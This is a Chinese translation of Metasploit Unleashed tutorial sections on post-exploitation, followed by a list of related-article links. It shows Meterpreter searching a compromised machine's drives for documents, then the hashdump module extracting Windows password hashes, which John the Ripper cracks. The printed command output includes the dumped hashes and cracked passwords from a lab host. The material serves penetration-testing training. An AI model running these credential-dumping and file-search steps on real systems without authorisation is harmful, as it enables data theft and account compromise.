11. 搜索内容

信息泄漏是公司面临的最大威胁之一,其中大部分可以通过教育用户正确保护其数据来防止。但是,作为用户的用户会经常将数据保存到其本地工作站,而不是在具有更大控制权的公司服务器上。

Meterpreter具有搜索功能,默认情况下,它将搜索受感染计算机的所有驱动器,以查找您选择的文件。

meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.OPTIONS:-d   The directory/drive to begin searching from. Leave empty to search all drives. (Default: )-f   The file pattern glob to search for. (e.g. *secret*.doc?)-h        Help Banner.-r   Recursivly search sub directories. (Default: true)

要对计算机上的所有jpeg文件运行搜索,只需使用-f开关运行search命令,然后告诉它要查找的文件类型。

meterpreter > search -f *.jpg
Found 418 results...
...snip...c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (28521 bytes)c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Sunset.jpg (71189 bytes)c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Water lilies.jpg (83794 bytes)c:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (105542 bytes)
...snip...

搜索整个计算机可能需要花费大量时间,并且观察力敏锐的用户可能会注意到他们的硬盘驱动器不断抖动。我们可以通过将其指向起始目录并让它运行来减少搜索时间。

meterpreter > search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.pdf
Found 2 results...c:\documents and settings\administrator\desktop\operations_plan.pdf (244066 bytes)c:\documents and settings\administrator\desktop\budget.pdf (244066 bytes)
meterpreter >

通过以这种方式运行搜索,您会注意到完成所需的时间大大加快了速度。

12. John The Ripper (开膛手约翰)

John The Ripper 模块用于识别以散列文件(loot)或原始 LANMAN/NTLM 散列(hashdump)形式获取的弱密码。此模块的目标是在短时间内找到琐碎的密码。要破解复杂的密码或使用大型单词列表,开膛手约翰应该在Metasploit之外使用。此初始版本仅处理来自hashdump的 LM/NTLM 凭据,并使用标准的字词列表和规则。

msf auxiliary(handler) > use post/windows/gather/hashdump
msf post(hashdump) > set session 1
session => 1msf post(hashdump) > run[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY bffad2dcc991597aaa19f90e8bc4ee00...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...Administrator:500:cb5f77772e5178b77b9fbd79429286db:b78fe104983b5c754a27c1784544fda7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:810185b1c0dd86dd756d138f54162df8:7b8f23708aec7107bfdf0925dbb2fed7:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8be4bbf2ad7bd7cec4e1cdddcd4b052e:::
rAWjAW:1003:aad3b435b51404eeaad3b435b51404ee:117a2f6059824c686e7a16a137768a20:::
rAWjAW2:1004:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::[*] Post module execution completedmsf post(hashdump) > use auxiliary/analyze/jtr_crack_fast
msf auxiliary(jtr_crack_fast) > run[*] Seeded the password database with 8 words...guesses: 3  time: 0:00:00:04 DONE (Sat Jul 16 19:59:04 2011)  c/s: 12951K  trying: WIZ1900 - ZZZ1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2])
[*] Output: D                (cred_6:2)
[*] Output: PASSWOR          (cred_6:1)
[*] Output: GG               (cred_1:2)
Warning: mixed-case charset, but the current hash type is case-insensitive;
some candidate passwords may be unnecessarily tried more than once.
guesses: 1  time: 0:00:00:05 DONE (Sat Jul 16 19:59:10 2011)  c/s: 44256K  trying: ||V} - |||}
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2])
[*] Output: Remaining 4 password hashes with no different salts
[*] Output: (cred_2)
guesses: 0  time: 0:00:00:00 DONE (Sat Jul 16 19:59:10 2011)  c/s: 6666K  trying: 89093 - 89092
[*] Output: Loaded 7 password hashes with no different salts (LM DES [128/128 BS SSE2])
[*] Output: Remaining 3 password hashes with no different salts
guesses: 1  time: 0:00:00:11 DONE (Sat Jul 16 19:59:21 2011)  c/s: 29609K  trying: zwingli1900 - password1900
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
[*] Output: password         (cred_6)
guesses: 1  time: 0:00:00:05 DONE (Sat Jul 16 19:59:27 2011)  c/s: 64816K  trying: |||}
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
[*] Output: Remaining 5 password hashes with no different salts
[*] Output: (cred_2)
guesses: 0  time: 0:00:00:00 DONE (Sat Jul 16 19:59:27 2011)  c/s: 7407K  trying: 89030 - 89092
[*] Output: Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
[*] Output: Remaining 4 password hashes with no different salts
[+] Cracked: Guest: (192.168.184.134:445)
[+] Cracked: rAWjAW2:password (192.168.184.134:445)
[*] Auxiliary module execution completed
msf auxiliary(jtr_crack_fast) >

第十一期_MSF 后渗透《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》相关推荐

  1. 第十三期_维护访问权限《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

    翻译者说明1:本文为Metasploit Unleashed中文版翻译.原文链接:https://www.offensive-security.com/metasploit-unleashed/ 翻译 ...

  2. 第四期_Metasploit 基础(六)Meterprete《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

    翻译者说明1:本文为Metasploit Unleashed中文版翻译.原文链接:https://www.offensive-security.com/metasploit-unleashed/ 翻译 ...

  3. 第五期_信息收集《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

    翻译者说明1:本文为Metasploit Unleashed中文版翻译.原文链接:https://www.offensive-security.com/metasploit-unleashed/ 翻译 ...

  4. 第三期_Metasploit 介绍《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

    翻译者说明1:本文为Metasploit Unleashed中文版翻译.原文链接:https://www.offensive-security.com/metasploit-unleashed/ 翻译 ...

  5. 第四期_Metasploit 基础(三)Exploits《Metasploit Unleashed Simplified Chinese version(Metasploit官方文档教程中文版)》

    翻译者说明1:本文为Metasploit Unleashed中文版翻译.原文链接:https://www.offensive-security.com/metasploit-unleashed/ 翻译 ...

  6. 渗透测试 ( 8 ) --- Burp Suite Pro 官方文档、Brida(frida)

    Burp Suite 官网 :https://portswigger.net/burp 官方文档:https://portswigger.net/burp/documentation/desktop ...

  7. Angr(十)——官方文档(Part1)

    通过阅读.整理angr的官方文档,加深对angr的理解,掌握更多.更通用angr的使用方法 参考链接: angr Documentation angr-doc 简介 angr是一个多架构二进制分析工具 ...

  8. Spark学习之路 (二十二)SparkStreaming的官方文档

    讨论QQ:1586558083 目录 一.简介 1.1 概述 1.2 一个小栗子 2.2 初始化StreamingContext 2.3 离散数据流 (DStreams) 2.4 输入DStream和 ...

  9. cocos2d js调用java_【cocos2d-js官方文档】二十四、如何在android平台上使用js直接调用Java方法...

    在cocos2d-js 3.0beta中加入了一个新特性,在android平台上我们可以通过反射直接在js中调用java的静态方法.它的使用方法很简单: var o = jsb.reflection. ...

  10. 【cocos2d-js官方文档】二十五、Cocos2d-JS v3.0中的单例对象

    为何将单例模式移除 在Cocos2d-JS v3.0之前.全部API差点儿都是从Cocos2d-x中移植过来的,这是Cocos2d生态圈统一性的重要一环.可惜的是,这样的统一性也在非常大程度上限制了C ...

最新文章

  1. ctags,cscope,nerdtree,tmux 笔记
  2. python笔记:Gurobipy
  3. 【Python】url基础:网络爬虫技术
  4. 谷歌离线地图Api附获取教程
  5. java 爬虫_探索Java 多线程爬虫及分布式爬虫架构
  6. 拳王虚拟项目公社:闲鱼操作虚拟资源的案例拆解,教你玩转闲鱼虚拟资源,货源+方法
  7. Avalanche发布AvalancheGo v1.2.3版本
  8. 一款开源Office软件---Lotus Symphony在Linux系统下的应用
  9. 全国二级 mysql有用_2020年全国计算机二级MySQL复习知识点:调整服务器
  10. 使用OGR2OGR将S57数据转为shp格式
  11. 小程序开发小结-线下服务器域名部署等
  12. 测试显卡cpu中文软件,显卡信息检测工具(GPUinfo)
  13. 谷歌大脑全新软件能让马赛克样模糊人脸变清晰
  14. Stealing packets
  15. java qq批量注册_JavaQQ 模仿QQ,实现简单的qq功能:注册、登陆、查找好友、聊天 。服务端还需 配置文件 ICQ-IM-Chat 272万源代码下载- www.pudn.com...
  16. 反激式开关电源双环PID(电压环+电流环)控制之MATLAB仿真
  17. python 爬虫,获取携程网站机票数据
  18. Markdown 书写规范
  19. 计算机英语教学设计反思,小学五年级英语教学设计与反思
  20. 发布《区块链创新与知识产权发展白皮书》

热门文章

  1. winbox 端口扫描_ROS软路由限速、防syn、ip伪装、mac绑定、防火墙、屏蔽端口
  2. h264解码延迟优化_h264编解码末尾丢帧问题原因和解决
  3. c语言最短线性路径算法,巧用Excel规划求解最短路径
  4. 《电脑商情报》国内信号最强,有效距离最远的四种无线网卡
  5. 《数据库应用》课程设计人事管理系统(java源代码)
  6. linux下python网络编程框架-twisted安装手记,linux编程_Linux下Python网络编程框架安装日志...
  7. 中兴捧月2020年比赛CV方向思路
  8. 中兴捧月算法-切绳子
  9. 繁体转简体 java_java 中文简体与繁体的转换
  10. 网络协议抓包分析与爬虫入门